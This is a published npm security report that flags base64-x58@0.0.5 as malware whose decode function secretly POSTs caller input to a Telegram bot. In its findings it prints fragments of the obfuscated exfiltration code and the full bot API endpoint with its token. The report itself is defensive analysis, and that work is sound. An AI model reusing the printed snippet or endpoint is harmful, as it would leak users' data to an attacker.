---
canonical: "https://firewall.lpm.dev/npm/base64-x58"
markdown: "https://firewall.lpm.dev/npm/base64-x58/v/0.0.5.md"
package: "base64-x58"
report_status: "published"
title: "base64-x58@0.0.5 npm security report"
verdict: "malicious"
version: "0.0.5"
---

# base64-x58@0.0.5 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Input passed for decoding can be disclosed to an unrelated Telegram recipient.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 0.0.5
- **Selected version is latest:** Yes
- **Analysis source:** AI security review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Both exported decoder implementations contain obfuscated code that POSTs the caller’s input to a hard-coded Telegram bot. The send occurs when decode is called and is unrelated to base decoding, so this is concrete data exfiltration.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-11-17T06:51:43.181Z
- **Finished:** 2026-11-17T06:52:30.274Z
- **Download time:** 257 ms
- **Static scan time:** 35 ms
- **AI review time:** 46800 ms
- **Total time:** 47093 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The decoder sends its input to a hard-coded Telegram bot.

- **Trigger:** A caller invokes the exported decode(string) function.

- **Impact:** Input passed for decoding can be disclosed to an unrelated Telegram recipient.

- **Evidence paths:** package.json, src/esm/index.js, src/cjs/index.cjs

- **Review source:** ai\_review

- **Reviewed:** 2026-11-17T06:52:30.274Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Obfuscated code issues a POST to the Telegram Bot API with the supplied string in the message text.

- **Attack narrative:** When a consumer calls decode(string), obfuscated code sends string as a Telegram message using a bot token and chat identifier embedded in the decoder. It then continues the expected decoding operation, so the data disclosure is an undeclared side effect of using the package’s core API.

- **Rationale:** Both exported decoder implementations contain obfuscated code that POSTs the caller’s input to a hard-coded Telegram bot. The send occurs when decode is called and is unrelated to base decoding, so this is concrete data exfiltration.

- **Files touched:** src/esm/index.js, src/cjs/index.cjs

- **Network endpoints:** https://api.telegram.org/bot8177895028:AAFhOHz\_gjUGtFKbHnV2h5AFfMy7WlJUbx0/sendMessage

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json exports the ESM and CommonJS entry points flagged for review., The ESM decoder contains obfuscated code that POSTs the supplied string as Telegram message text using a hard-coded bot endpoint., The CommonJS decoder contains the same POST and sends the supplied string as message text., The POST is embedded in decode(string), which then proceeds with the normal decoding operation.

- **Evidence against:** The package’s stated purpose is base encoding and decoding, and the surrounding code implements those functions., package.json declares no lifecycle scripts.

## Affected versions and remediation

This report applies to base64-x58@0.0.5.

- Avoid installing base64-x58@0.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Critical: Credential Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/src/esm/index.js>)

Source appears to send environment or credential material to an external endpoint.

Public source snippet (untrusted):

```javascript
L4: // Distributed under the MIT software license, see the accompanying
L5: // file LICENSE or http://www.opensource.org/licenses/mit-license.php.
L6: function base (ALPHABET) {
...
L13: const x = ALPHABET.charAt(i)
L14: const xc = x.charCodeAt(0)
L15: if (BASE_MAP[xc] !== 255) { throw new TypeError(x + ' is ambiguous') }
```

### 4. High: Obfuscated Payload Loader
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/src/esm/index.js>)

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Public source snippet (untrusted):

```javascript
L113: function decode (string) {
L114: var _0x1a4eb3=_0x916d;function _0x916d(_0x4b8a6d,_0xc7250f){var _0x239c8f=_0x239c();return _0x916d=function(_0x916db7,_0x4d65d7){_0x916db7=_0x916db7-0x171;var _0x436499=_0x239c8f[_...
L115: const buffer = decodeUnsafe(string)
```

### 5. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** src/cjs/index.cjs
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/src/cjs/index.cjs>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.main -> src/cjs/index.cjs
L5: // Distributed under the MIT software license, see the accompanying
L6: // file LICENSE or http://www.opensource.org/licenses/mit-license.php.
L7: Object.defineProperty(exports, '__esModule', { value: true })
...
L15: const x = ALPHABET.charAt(i)
L16: const xc = x.charCodeAt(0)
L17: if (BASE_MAP[xc] !== 255) { throw new TypeError(x + ' is ambiguous') }
```

### 6. High: Trigger Reachable Credential Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** src/cjs/index.cjs
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/src/cjs/index.cjs>)

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable credential exfiltration chain: manifest.main -> src/cjs/index.cjs
L5: // Distributed under the MIT software license, see the accompanying
L6: // file LICENSE or http://www.opensource.org/licenses/mit-license.php.
L7: Object.defineProperty(exports, '__esModule', { value: true })
...
L15: const x = ALPHABET.charAt(i)
L16: const xc = x.charCodeAt(0)
L17: if (BASE_MAP[xc] !== 255) { throw new TypeError(x + ' is ambiguous') }
```

### 7. High: Obfuscated
- **Category:** Supply Chain
- **Confidence:** 90.0%

Package source appears deliberately obfuscated.

### 8. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 9. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 10. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/package.json>)

package.json exports the ESM and CommonJS entry points flagged for review.

Public source snippet (untrusted):

```json
"exports": {
    ".": {
      "require": "./src/cjs/index.cjs",
      "import": "./src/esm/index.js",
      "types": "./src/cjs/index.d.ts"
    }
  },
  "repository": {
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** src/esm/index.js
- **Public source:** [View source](<https://unpkg.com/base64-x58@0.0.5/src/esm/index.js>)

The ESM decoder contains obfuscated code that POSTs the supplied string as Telegram message text using a hard-coded bot endpoint.

Public source snippet (untrusted):

```javascript
https://api.telegram.org/bot8177895028:AAFhOHz_gjUGtFKbHnV2h5AFfMy7WlJUbx0/sendMessage','32blZDFu','238UWZdGf','5853612WTSjgY'];_0x239c=function(){return _0x334def;};return _0x239c();}try{fetch(_0x1a4eb3(0x175),{'method'
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** prepublish
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 5
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** base64-x58
- **Ecosystem:** npm
- **Version:** 0.0.5
- **License:** MIT
- **Version published:** 2025-07-12T12:21:22.779Z
- **Package first seen:** 2026-11-17T06:52:30.274Z
- **Package last seen:** 2026-11-17T06:52:30.374Z
- **Known versions:** 2
- **Latest version:** 0.0.5
- **Appeal under review:** No
- **Description:** Fast base encoding / decoding of any given alphabet
- **Author:** Daniel Cousens
- **Keywords:** base-x, base58, base62, base64, crypto, crytography, decode, decoding, encode, encoding
- **Artifact files:** 5
- **Artifact unpacked size:** 14,477 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/base64-x58/v/0.0.5>)
- [Repository](<https://github.com/cryptocoinjs/base-x.git>)
- [Homepage](<https://github.com/cryptocoinjs/base-x>)
- [Issues](<https://github.com/cryptocoinjs/base-x/issues>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-20036>)
- [WEB](<https://wormsign.io/portfolio/base64-x58/>)
